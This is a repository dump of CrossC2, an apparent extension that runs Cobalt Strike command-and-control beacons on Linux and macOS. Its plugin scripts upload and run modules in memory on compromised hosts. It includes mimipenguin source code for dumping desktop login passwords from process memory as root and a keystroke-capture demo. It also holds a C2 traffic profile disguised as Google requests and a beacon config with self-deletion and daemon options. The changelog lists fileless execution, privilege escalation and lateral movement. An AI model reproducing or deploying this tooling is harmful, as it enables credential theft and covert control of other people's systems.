├── version ├── .gitmodules ├── media ├── 15718834682843 │ └── 15794546043572.jpg ├── 15794884596715 │ ├── 15794993795360.jpg │ └── 15795001494711.jpg ├── 15824278372797 │ ├── 15824282351545.jpg │ └── 15824282632072.jpg ├── 15848885324084 │ ├── 15848892759774.jpg │ ├── 15848892902723.jpg │ └── 15848895853537.jpg ├── 15854585486601 │ ├── 15854592406527.jpg │ ├── 15854593957704.jpg │ └── 15854601104042.jpg ├── 15901534124389 │ ├── 15901617930412.jpg │ ├── 15985513904454.jpg │ ├── 16041501958652.jpg │ └── 16041502298949.jpg └── 16292585578533 │ ├── CrossC2_action.gif │ ├── CrossC2_logo.png │ └── CrossC2_action2.gif ├── CrossC2Kit_demo ├── mimipenguin │ ├── mimipenguin.so │ ├── mimipenguin_x32.so │ ├── include │ │ ├── max.h │ │ ├── users.h │ │ ├── scanner.h │ │ ├── targets.h │ │ └── dbg.h │ ├── mimipenguin.cna │ ├── src │ │ ├── mimipenguin.c │ │ ├── targets.c │ │ ├── scanner.c │ │ └── users.c │ ├── Makefile │ ├── CrossC2Kit.cna │ ├── README.md │ └── LICENSE ├── main.c ├── Makefile ├── cc2_keystrokes_demo.c ├── cc2_keystrokes_demo.cna ├── cc2_portscan_demo.cna ├── cc2_portscan_demo.c └── CrossC2Kit.cna ├── release.sh ├── crossc2kit_latest_zh ├── crossc2kit_latest_en ├── src ├── config_demo.ini └── CrossC2.cna ├── protocol_demo ├── https.profile ├── c2profile.c ├── rebind_udp.c ├── rebind_tcp.c ├── proxy_tcp.py └── proxy_udp.py ├── changelog_zh.html ├── .github └── workflows │ ├── update-crossc2-release.yml │ ├── update-crossc2kit-release.yml │ ├── create-base-release.yml │ ├── compile-crossc2kit-release.yml │ └── compile-base-release.yml ├── changelog_en.html ├── README_zh.md ├── README.md ├── README_zh_full.md └── README_full.md /version: -------------------------------------------------------------------------------- 1 | 2.0 -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "CrossC2Kit"] 2 | path = CrossC2Kit 3 | url = https://github.com/CrossC2/CrossC2Kit.git 4 | -------------------------------------------------------------------------------- /media/15718834682843/15794546043572.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15718834682843/15794546043572.jpg -------------------------------------------------------------------------------- /media/15794884596715/15794993795360.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15794884596715/15794993795360.jpg -------------------------------------------------------------------------------- /media/15794884596715/15795001494711.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15794884596715/15795001494711.jpg -------------------------------------------------------------------------------- /media/15824278372797/15824282351545.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15824278372797/15824282351545.jpg -------------------------------------------------------------------------------- /media/15824278372797/15824282632072.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15824278372797/15824282632072.jpg -------------------------------------------------------------------------------- /media/15848885324084/15848892759774.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15848885324084/15848892759774.jpg -------------------------------------------------------------------------------- /media/15848885324084/15848892902723.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15848885324084/15848892902723.jpg -------------------------------------------------------------------------------- /media/15848885324084/15848895853537.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15848885324084/15848895853537.jpg -------------------------------------------------------------------------------- /media/15854585486601/15854592406527.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15854585486601/15854592406527.jpg -------------------------------------------------------------------------------- /media/15854585486601/15854593957704.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15854585486601/15854593957704.jpg -------------------------------------------------------------------------------- /media/15854585486601/15854601104042.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15854585486601/15854601104042.jpg -------------------------------------------------------------------------------- /media/15901534124389/15901617930412.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15901534124389/15901617930412.jpg -------------------------------------------------------------------------------- /media/15901534124389/15985513904454.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15901534124389/15985513904454.jpg -------------------------------------------------------------------------------- /media/15901534124389/16041501958652.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15901534124389/16041501958652.jpg -------------------------------------------------------------------------------- /media/15901534124389/16041502298949.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/15901534124389/16041502298949.jpg -------------------------------------------------------------------------------- /media/16292585578533/CrossC2_action.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/16292585578533/CrossC2_action.gif -------------------------------------------------------------------------------- /media/16292585578533/CrossC2_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/16292585578533/CrossC2_logo.png -------------------------------------------------------------------------------- /media/16292585578533/CrossC2_action2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/media/16292585578533/CrossC2_action2.gif -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/mimipenguin.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/CrossC2Kit_demo/mimipenguin/mimipenguin.so -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/mimipenguin_x32.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gloxec/CrossC2/HEAD/CrossC2Kit_demo/mimipenguin/mimipenguin_x32.so -------------------------------------------------------------------------------- /CrossC2Kit_demo/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int crossc2_entry(int argc, char **argv) { 4 | printf("------------> crossc2 dyn load!\n"); 5 | return 1; 6 | } 7 | -------------------------------------------------------------------------------- /release.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd /tmp/ 4 | for module in `find ./third-party | grep "makefile" | awk -F'/makefile' '{print $1}'` 5 | do 6 | echo $module 7 | rm -rf $module 8 | done 9 | zip -r third-party.zip third-party -------------------------------------------------------------------------------- /CrossC2Kit_demo/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = cc2_portscan_demo cc2_keystrokes_demo 2 | 3 | main: $(TARGET) 4 | 5 | CFLAG = -fPIC -shared 6 | 7 | %: 8 | clang $@.c -o $@.dylib $(CFLAG) 9 | 10 | clean: 11 | -rm -rf ./*.dylib 12 | -------------------------------------------------------------------------------- /crossc2kit_latest_zh: -------------------------------------------------------------------------------- 1 | { 2 | "assets": [ 3 | { 4 | "name": "CrossC2Kit.zip", 5 | "browser_download_url": "http://127.0.0.1/CrossC2Kit.zip", 6 | "desc": "

CrossC2 插件更新列表正在统计中,后续会推送到github

" 7 | } 8 | ] 9 | } -------------------------------------------------------------------------------- /crossc2kit_latest_en: -------------------------------------------------------------------------------- 1 | { 2 | "assets": [ 3 | { 4 | "name": "CrossC2Kit.zip", 5 | "browser_download_url": "http://127.0.0.1/CrossC2Kit.zip", 6 | "desc": "

The CrossC2 plugin update list is being counted and will be pushed to github in the future

" 7 | } 8 | ] 9 | } -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/include/max.h: -------------------------------------------------------------------------------- 1 | #ifndef MAX_H 2 | #define MAX_H 3 | 4 | 5 | #define MAX_PATH (256) 6 | 7 | 8 | #define MAX_PIDS (24) 9 | #define MAX_SHRT_NAME (32) 10 | #define MAX_TARGETS (4) 11 | #define MAX_NEEDLES (4) 12 | 13 | #define ATTS_SZ (5) 14 | #define MAX_MAP_LINE (336) 15 | #define MAX_CMDLINE MAX_PATH 16 | #define MAX_CMDLINE_F MAX_MAP_LINE 17 | 18 | #define MIN_STR MAX_TARGETS 19 | #define MAX_STR MAX_PATH // 256 for now 20 | 21 | #define MAX_USER_LINE MAX_MAP_LINE 22 | #endif 23 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/cc2_keystrokes_demo.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int crossc2_entry(int argc, char **argv) { 4 | printf("into crossc2_entry():\n"); 5 | printf("\t-> argc = %d\n", argc); 6 | int i = 0; 7 | for (i = 0; i < argc; ++i) { 8 | printf("\t->%s\n", argv[i]); 9 | } 10 | 11 | printf("test demo\n"); 12 | printf("User keyboard input: ssh root@10.14.11.32\n"); 13 | printf("test_username\n"); 14 | printf("pwd_123467aaa\n"); 15 | printf("ifconfig\n"); 16 | printf("[Ctrl-D]\n"); 17 | 18 | return 1; 19 | } 20 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/cc2_keystrokes_demo.cna: -------------------------------------------------------------------------------- 1 | 2 | include(script_resource("CrossC2Kit.cna")); 3 | 4 | ssh_alias cc2_keystrokes_demo { 5 | $taskName = "cc2_portscan"; # 该任务的名称 6 | $taskType = "so"; # $taskType -> ELF, MachO, so, dylib 7 | $taskResType = "keystrokes"; # task返回值类型定义参考 "#变量定义" 8 | $loadlib = "./cc2_keystrokes_demo.dylib"; # 需要载入的动态库/可执行文件 9 | 10 | $beaconid = $1; 11 | $tty = $2; 12 | $pid = $3; 13 | $transportArg = $tty . "^" . $pid; 14 | 15 | blog($beaconid, "keystrokes: " . $tty . " " . $pid); 16 | 17 | bcrossc2_load_dyn($beaconid, $taskType, $taskName, $taskResType, $loadlib, $transportArg); 18 | } 19 | 20 | ssh_command_register("cc2_keystrokes_demo", "Unix keystrokes", "Use: cc2_keystrokes_demo [tty] [pid]"); -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/mimipenguin.cna: -------------------------------------------------------------------------------- 1 | 2 | include(script_resource("CrossC2Kit.cna")); 3 | 4 | ssh_alias mimipenguin { 5 | $taskName = "mimipenguin"; # 该任务的名称 6 | $taskType = "so"; # $taskType -> ELF, MachO, so, dylib 7 | $taskResType = "info"; # task返回值类型定义参考 "#变量定义" 8 | $loadlib = "./mimipenguin.so"; # 需要载入的动态库/可执行文件 9 | 10 | $beaconid = $1; 11 | 12 | $transportArg = "blankArg"; 13 | 14 | blog($beaconid, "mimipenguin dump login password"); 15 | 16 | bcrossc2_load_dyn($beaconid, $taskType, $taskName, $taskResType, $loadlib, $transportArg); 17 | } 18 | 19 | ssh_command_register("mimipenguin", "dump the login password from the current linux desktop", "Use: mimipenguin\nroot permissions\ndump the login password from the current linux desktop"); -------------------------------------------------------------------------------- /src/config_demo.ini: -------------------------------------------------------------------------------- 1 | # 配置 beacon 本身hook的函数符号以及全局配置 2 | [c2_config] 3 | # hook函数 4 | # 初始化 阶段 void cc2_init() {} 5 | cc2_init = aa1 6 | # 错误重连 阶段,传入重连次数 void cc2_retryConnect(int retryCount) {} 7 | cc2_retryConnect = bb 8 | 9 | # 协议重绑定库的函数名称自定义 10 | # cc2_rebind_get_protocol = cc 11 | # cc2_rebind_post_protocol = dd 12 | # cc2_rebind_http_get_send = ee3 13 | # cc2_rebind_http_get_recv = ff 14 | # cc2_rebind_http_post_send = gg 15 | # cc2_rebind_http_post_recv = hh 16 | 17 | # 一些全局配置 18 | # 运行后是否需要自删除 19 | cc2_auto_delete = false 20 | # 是否需要后台运行 21 | cc2_daemon = false 22 | # sleep时间 (10 = 10 sec) 23 | sleeptime = 10 24 | # 心跳抖动时间 25 | jitter = 37 26 | # 数据提交抖动时间 27 | data_jitter = 100 28 | # 创建任务的pipe名称(默认 = joblist) 29 | ; job_pipe_name = joblist 30 | # 运行任务的pipe名称(默认 .syspipe) 31 | process_pipe_name = sys_pipe 32 | # 请求的dns服务 33 | dns_server = 8.8.8.8 34 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/include/users.h: -------------------------------------------------------------------------------- 1 | #ifndef USERS_H 2 | #define USERS_H 3 | 4 | #include 5 | 6 | struct User { 7 | char *uname; 8 | size_t uname_len; 9 | char *id_salt; 10 | size_t id_salt_len; 11 | char *hash; 12 | size_t hash_len; 13 | }; 14 | 15 | typedef struct User user_t; 16 | 17 | // Populates an array of User structs with local 18 | // users and their hashes/salts. Only targets 19 | // users with a valid hash 20 | // -1 = error, 21 | // 0 = no valid users (prob an error) 22 | // number of valid users = success 23 | int GetUsers(user_t **users); 24 | 25 | // Frees list of users 26 | void PutUsers(user_t **users, int nusers); 27 | 28 | // Check for a match of hashed version of str against user hashes 29 | // If match return user index 30 | // else 0 for no match 31 | int CheckForUserHash(user_t *users, int nusers, char *str); 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/cc2_portscan_demo.cna: -------------------------------------------------------------------------------- 1 | 2 | include(script_resource("CrossC2Kit.cna")); 3 | 4 | ssh_alias cc2_portscan_demo { 5 | $taskName = "cc2_portscan"; # 该任务的名称 6 | $taskType = "so"; # $taskType -> ELF, MachO, so, dylib 7 | $taskResType = "portscan"; # task返回值类型定义参考 "#变量定义" 8 | $loadlib = "./cc2_portscan_demo.dylib"; # 需要载入的动态库/可执行文件 9 | 10 | $beaconid = $1; 11 | $host = $2; 12 | $port = $3; 13 | $scan_type = $4; 14 | $scan_thread = $5; 15 | $transportArg = $host . "^" . $port . "^" . $scan_type . "^" . $scan_thread; 16 | 17 | blog($beaconid, "portscan: " . $host . " " . $port); 18 | 19 | bcrossc2_load_dyn($beaconid, $taskType, $taskName, $taskResType, $loadlib, $transportArg); 20 | } 21 | 22 | ssh_command_register("cc2_portscan_demo", "CrossC2 Unix PortScan", "Use: cc2_portscan_demo -H [host] -P [port]\n\n-H 192.168.1.1/24 or 192.168.1.23-198\n-P 22,80,445,600-1000"); -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/src/mimipenguin.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "dbg.h" 6 | #include "targets.h" 7 | #include "scanner.h" 8 | 9 | int crossc2_entry(int argc, char **argv) 10 | { 11 | Target targets[MAX_TARGETS]; 12 | 13 | // Must be root (this is a post LPE payload!) 14 | if ( getuid() != 0 ) 15 | { 16 | printf("[!!] MUST BE ROOT\n"); 17 | return -1; 18 | } 19 | // Initialize targets 20 | memset(targets, 0, sizeof(targets)); 21 | initTargets(targets); 22 | 23 | // Populate targets with pids 24 | getTargetPids(targets); 25 | 26 | #ifdef DEBUG 27 | dumpTargets(targets); 28 | #endif 29 | 30 | // Process targets for passwords 31 | if ( processTargets(targets) < 0 ) 32 | { 33 | log_error("Failed to process targets"); 34 | return -1; 35 | } 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/include/scanner.h: -------------------------------------------------------------------------------- 1 | #ifndef SCANNER_H 2 | #define SCANNER_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include "targets.h" 9 | #include "max.h" 10 | 11 | /* Public processing function. Used to process the memory for all targets and pids */ 12 | // -1 error, 0 good 13 | int processTargets(Target targets[MAX_TARGETS]); 14 | 15 | /* Identifies readable regions of memory for the target pid */ 16 | // -1 error, 0 good 17 | int processMemory(Target target, pid_t pid); 18 | 19 | // Get a str (like strings command) from fp of min size min_str, and max size max_str. store result in 20 | // **str ptr. cur is a marker for bytes read, max_cur is max amount of bytes to read 21 | // returns -1 or size of string 22 | int getStr(FILE *fp, char *str, size_t min_str, size_t max_str, size_t *cur, size_t max_cur); 23 | 24 | /* Process a memory region potential passwords */ 25 | // -1 error, 0 good 26 | int processRegion(FILE *fp, unsigned long start, unsigned long end); 27 | 28 | #endif /* SCANNER_H */ 29 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | STRIP=strip --strip-unneeded 3 | CFLAGS=-Iinclude/ -D_FILE_OFFSET_BITS=64 -O3 -Wno-unused-result -fPIC -shared 4 | LDFLAGS=-lcrypt 5 | 6 | all: 7 | @$(CC) $(CFLAGS) src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin.so $(LDFLAGS) 8 | @$(CC) $(CFLAGS) -m32 src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin_x32.so $(LDFLAGS) 9 | @$(STRIP) mimipenguin.so 10 | @$(STRIP) mimipenguin_x32.so 11 | 12 | static: 13 | @$(CC) $(CFLAGS) -static src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin.so $(LDFLAGS) 14 | @$(CC) $(CFLAGS) -m32 -static src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin_x32.so $(LDFLAGS) 15 | @$(STRIP) mimipenguin.so 16 | @$(STRIP) mimipenguin_x32.so 17 | debug: 18 | @$(CC) $(CFLAGS) -DDEBUG src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin.so $(LDFLAGS) 19 | @$(CC) $(CFLAGS) -m32 -DDEBUG src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin_x32.so $(LDFLAGS) 20 | 21 | clean: 22 | @rm mimipenguin.so 23 | @rm mimipenguin_x32.so 24 | 25 | .PHONY: all 26 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/include/targets.h: -------------------------------------------------------------------------------- 1 | #ifndef TARGETS_H 2 | #define TARGETS_H 3 | 4 | #include 5 | #include 6 | 7 | #include "max.h" 8 | 9 | /* Pids struct to handle lists of Pids*/ 10 | typedef struct { 11 | pid_t array[MAX_PIDS]; 12 | size_t size; 13 | } Pids; 14 | 15 | /* Needles struct to handle list of needles*/ 16 | typedef struct { 17 | char *needles[MAX_NEEDLES]; //regex patterns 18 | size_t size; 19 | } Needles; 20 | 21 | /* Target processes struct */ 22 | typedef struct { 23 | char name[MAX_SHRT_NAME]; //Process name 24 | char source[MAX_SHRT_NAME]; // my name for proc 25 | Pids pids; //All Pids associated with process/service 26 | Needles needles; //regex patterns 27 | } Target; 28 | 29 | /* Init the known targets with their needles and names */ 30 | void initTargets(Target targets[MAX_TARGETS]); 31 | 32 | /* Filter to identify /proc/ subdirs as PIDs */ 33 | static int filter(const struct dirent *dir); 34 | 35 | /* Get all pids associated with Targets and populate the struts */ 36 | void getTargetPids(Target targets[MAX_TARGETS]); 37 | 38 | #ifdef DEBUG 39 | void dumpTargets(Target *targets); 40 | #endif 41 | 42 | #endif 43 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/cc2_portscan_demo.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int crossc2_entry(int argc, char **argv) { 4 | char *tempRes[] = {"(ICMP) Target '172.16.251.211' is alive. [read 8 bytes]", 5 | "(ICMP) Target '172.16.251.212' is alive. [read 8 bytes]", 6 | "(ICMP) Target '172.16.251.217' is alive.", 7 | "(ICMP) Target '172.16.251.219' is alive. [read 8 bytes]", 8 | "172.16.251.211:445 (platform: 500 version: 6.1 name: HAAAC-PC domain: WORKGROUP)", 9 | "172.16.251.212:445 (platform: 500 version: 6.0 name: C00101201 domain: test_domain.org)", 10 | "172.16.251.213:80 (Open-SSH-2.0,1)", 11 | "172.16.251.214:8001 (Apache Tomcat - Facebook)", 12 | "172.16.251.215:8002 (Nginx - 404 Not found)", 13 | "172.16.251.216:8003 (Tomcat - test's blog)", 14 | "172.16.251.217:8004 (Nginx - bing 搜索)", 15 | "172.16.251.218:8005 (MySQL - 5.7.14)", 16 | "172.16.251.219:8004 (tomcat - bing 検索する)", 17 | "172.16.251.221:8004 (tomcat - bing 검색)", 18 | "172.16.251.222:8004 (tomcat - bing Поиск дома)", 19 | "172.16.251.223:8004 (tomcat - bing ค้นหาหน้าแรก)", 20 | "172.16.251.220:22 (Open-SSH-2.0,1)", 21 | "172.16.251.221:22 (Open-SSH-2.0,1)" 22 | }; 23 | for (int i = 0; i < (sizeof(tempRes)/sizeof(char *)); ++i) { 24 | printf("%s\n", tempRes[i]); 25 | } 26 | 27 | return 1; 28 | } 29 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/include/dbg.h: -------------------------------------------------------------------------------- 1 | #ifndef DBG_H 2 | #define DBG_H 3 | 4 | #include 5 | #include 6 | #include 7 | #define RESET "\033[0m" 8 | //#define RED "\033[31m" 9 | //#define BOLDBLACK "\033[1m\033[30m" /* Bold Black */ 10 | #define BOLDRED "\033[1m\033[31m" /* Bold Red */ 11 | //#define BOLDGREEN "\033[1m\033[32m" /* Bold Green */ 12 | #define BOLDYELLOW "\033[1m\033[33m" /* Bold Yellow */ 13 | #define BOLDBLUE "\033[1m\033[34m" /* Bold Blue */ 14 | //#define BOLDMAGENTA "\033[1m\033[35m" /* Bold Magenta */ 15 | //#define BOLDCYAN "\033[1m\033[36m" /* Bold Cyan */ 16 | #define BOLDWHITE "\033[1m\033[37m" /* Bold White */ 17 | 18 | #define clean_errno() (errno == 0 ? "None": strerror(errno)) 19 | 20 | 21 | #ifdef DEBUG 22 | #define debug(M, ...) fprintf(stderr,"[" BOLDBLUE "DEBUG" RESET "]" "%s:%d:" M "\n", __FILE__, __LINE__, ##__VA_ARGS__) 23 | #define log_error(M, ...) fprintf(stderr, "[" BOLDRED "ERROR" RESET "]" "(%s:%d: errno: %s) " M "\n", __FILE__, __LINE__, clean_errno(), ##__VA_ARGS__) 24 | #define log_warn(M, ...) fprintf(stderr, "[" BOLDYELLOW "WARN" RESET "]" "(%s:%d: errno:%s) " M "\n", __FILE__, __LINE__, clean_errno(), ##__VA_ARGS__) 25 | #define log_info(M, ...) fprintf(stderr, "[" BOLDWHITE "INFO" RESET "]" "(%s:%d) " M "\n", __FILE__, __LINE__, ##__VA_ARGS__) 26 | 27 | #else 28 | #define debug(M, ...) 29 | #define log_error(M, ...) 30 | #define log_warn(M, ...) 31 | #define log_info(M, ...) 32 | #endif 33 | 34 | #endif 35 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/CrossC2Kit.cna: -------------------------------------------------------------------------------- 1 | sub random_string { 2 | # <3 @offsec_ginger 3 | $limit = $1; 4 | @random_str = @(); 5 | $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 6 | for ($x = 0; $x < $limit; $x++) { 7 | $n = rand(strlen($characters)); 8 | add(@random_str, charAt($characters, $n)); 9 | } 10 | return join('', @random_str); 11 | } 12 | 13 | sub runType { 14 | $type = $1; 15 | if ($type eq "ELF" || $type eq "MachO") { 16 | return "0"; 17 | } else if ($type eq "so" || $type eq "dylib") { 18 | return "1"; 19 | } 20 | return -1; 21 | } 22 | 23 | 24 | sub genTaskinfo_dyn { 25 | $taskType = $1; 26 | $taskName = $2; 27 | $taskResType = $3; 28 | $juicySize = $4; 29 | $transportArg = $5; 30 | 31 | $taskinfo = "CrossC2^" . $taskType . "^". $taskName . "^" . $taskResType . "^" . $juicySize . "^" . $transportArg; 32 | return $taskinfo; 33 | } 34 | 35 | sub bcrossc2_load_dyn { 36 | $beaconid = $1; 37 | $taskType = $2; 38 | $taskName = $3; 39 | $taskName = $taskName . random_string(4); 40 | $taskResType = $4; 41 | $loadFileName = $5; 42 | $taskArgs = base64_encode($6); 43 | 44 | $handle = openf(script_resource($loadFileName)); 45 | $juicyData = readb($handle, -1); 46 | closef($handle); 47 | 48 | $juicySize = lof(script_resource($loadFileName)); 49 | $taskType = runType($taskType); 50 | if ($taskType == -1) { 51 | berror($beaconid, "[ CrossC2 ]: dynamic lib or executable filetype not found"); 52 | } 53 | $ELFName = genTaskinfo_dyn($taskType, $taskName, $taskResType, $juicySize, $taskArgs); 54 | bupload_raw($beaconid,$ELFName,$juicyData); 55 | } -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/CrossC2Kit.cna: -------------------------------------------------------------------------------- 1 | sub random_string { 2 | # <3 @offsec_ginger 3 | $limit = $1; 4 | @random_str = @(); 5 | $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 6 | for ($x = 0; $x < $limit; $x++) { 7 | $n = rand(strlen($characters)); 8 | add(@random_str, charAt($characters, $n)); 9 | } 10 | return join('', @random_str); 11 | } 12 | 13 | sub runType { 14 | $type = $1; 15 | if ($type eq "ELF" || $type eq "MachO") { 16 | return "0"; 17 | } else if ($type eq "so" || $type eq "dylib") { 18 | return "1"; 19 | } 20 | return -1; 21 | } 22 | 23 | 24 | sub genTaskinfo_dyn { 25 | $taskType = $1; 26 | $taskName = $2; 27 | $taskResType = $3; 28 | $juicySize = $4; 29 | $transportArg = $5; 30 | 31 | $taskinfo = "CrossC2^" . $taskType . "^". $taskName . "^" . $taskResType . "^" . $juicySize . "^" . $transportArg; 32 | return $taskinfo; 33 | } 34 | 35 | sub bcrossc2_load_dyn { 36 | $beaconid = $1; 37 | $taskType = $2; 38 | $taskName = $3; 39 | $taskName = $taskName . random_string(4); 40 | $taskResType = $4; 41 | $loadFileName = $5; 42 | $taskArgs = base64_encode($6); 43 | 44 | $handle = openf(script_resource($loadFileName)); 45 | $juicyData = readb($handle, -1); 46 | closef($handle); 47 | 48 | $juicySize = lof(script_resource($loadFileName)); 49 | $taskType = runType($taskType); 50 | if ($taskType == -1) { 51 | berror($beaconid, "[ CrossC2 ]: dynamic lib or executable filetype not found"); 52 | } 53 | $ELFName = genTaskinfo_dyn($taskType, $taskName, $taskResType, $juicySize, $taskArgs); 54 | bupload_raw($beaconid,$ELFName,$juicyData); 55 | } -------------------------------------------------------------------------------- /protocol_demo/https.profile: -------------------------------------------------------------------------------- 1 | http-get { 2 | 3 | set uri "/aaaaaaaaa"; 4 | set verb "GET"; 5 | 6 | client { 7 | 8 | header "Accept" "accccccc"; 9 | header "Host" "www.google.com"; 10 | header "Referer" "http://www.google.com/"; 11 | header "Accept-Encoding" "gzip, deflate"; 12 | 13 | metadata { 14 | base64url; 15 | prepend "SESSION="; 16 | header "Cookie"; 17 | } 18 | } 19 | 20 | server { 21 | 22 | header "Server" "nginx"; 23 | header "Cache-Control" "max-age=0, no-cache"; 24 | header "Pragma" "no-cache"; 25 | header "Connection" "keep-alive"; 26 | header "Content-Type" "charset=utf-8"; 27 | 28 | output { 29 | base64; 30 | prepend "ffffffff1"; 31 | append "eeeeeeee2"; 32 | print; 33 | } 34 | } 35 | } 36 | 37 | 38 | http-post { 39 | 40 | set uri "/bbbbbbbbb"; 41 | set verb "POST"; 42 | 43 | client { 44 | 45 | header "Accept" "accccccc"; 46 | header "Host" "www.google.com"; 47 | header "Referer" "http://www.google.com/"; 48 | header "Accept-Encoding" "gzip, deflate"; 49 | 50 | id { 51 | base64; 52 | parameter "SESSION"; 53 | } 54 | 55 | output { 56 | base64url; 57 | print; 58 | } 59 | } 60 | 61 | server { 62 | 63 | header "Server" "nginx"; 64 | header "Cache-Control" "max-age=0, no-cache"; 65 | header "Pragma" "no-cache"; 66 | header "Connection" "keep-alive"; 67 | header "Content-Type" "charset=utf-8"; 68 | 69 | output { 70 | mask; 71 | base64url; 72 | prepend "ffffffff1"; 73 | append "eeeeeeee2"; 74 | print; 75 | } 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /changelog_zh.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |

ChangeLog

5 | 6 |

release v2.0 :

7 | 8 |
    9 |
  • -修复 修复文件管理处上传文件时带反斜杠导致路径出错的问题
  • 10 |
  • -修复 真实环境中多种场景下长时间测试,修复一些隐藏的问题,现在更加稳定
  • 11 |
  • +支持 更低内核版本系统的支持
  • 12 |
  • +支持 启动时环境变量自动设置
  • 13 |
  • +支持 启动时敏感env记录删除
  • 14 |
  • +支持 启动时可后台服务进程方式挂属init进程下
  • 15 |
  • +支持 增加session spawn功能
  • 16 |
  • +支持 增加session 设置环境变量的功能
  • 17 |
  • +支持 增加session getsystem权限提升功能
  • 18 |
  • +支持 增加session 处理多个合并任务的解析功能
  • 19 |
  • +支持 增加 Mac & Linux 横向移动的功能
  • 20 |
21 | 22 |

release v1.5 :

23 | 24 |
    25 |
  • -修复 修复genCrossC2的通讯协议重绑定错误
  • 26 |
27 | 28 |

release v1.4 :

29 | 30 |
    31 |
  • -修复 Linux后台进程与joblist显示错误的问题
  • 32 |
33 | 34 |

release v1.3 :

35 | 36 |
    37 |
  • +支持 支持自定义通信协议 (HTTP, TCP, UDP...) .
  • 38 |
  • +支持 新添加了joblist模块,可用来管理内存中持续运行的模块.
  • 39 |
  • +支持 添加了反向代理模块{TCP/KCP(UDP)},同样属于内存无落地运行.
  • 40 |
41 | 42 |

release v1.2 :

43 | 44 |
    45 |
  • +支持 可以支持选择生成beacon时所需的key文件.
  • 46 |
  • +支持 支持生成shellcode.
  • 47 |
  • -变更 不再依赖cobaltstrike.jar (意味着CrossC2插件可以放在任意位置).
  • 48 |
  • -变更 更加便捷的Unix系统上线方式.
  • 49 |
50 | 51 |

release v1.1 :

52 | 53 |
    54 |
  • -修复 内存加载执行功能的多国语言乱码问题修复
  • 55 |
56 | 57 |

release v1.0 :

58 | 59 |
    60 |
  • -修复 真实环境中多种场景下长时间多次测试,修复一些隐藏的问题,现在更加稳定
  • 61 |
  • +支持 Linux & MacOS 支持无文件内存加载执行
  • 62 |
  • +支持 预留CS内置数据类型,更加丰富的用户自定义插件返回数据类型,可自由便捷实现'portscan'等等原生功能
  • 63 |
64 | 65 |

release v0.4 :

66 | 67 |
    68 |
  • -变更 shell命令执行时采用后台多线程方式
  • 69 |
  • -变更 shell命令执行时错误输出重定向到标准输出
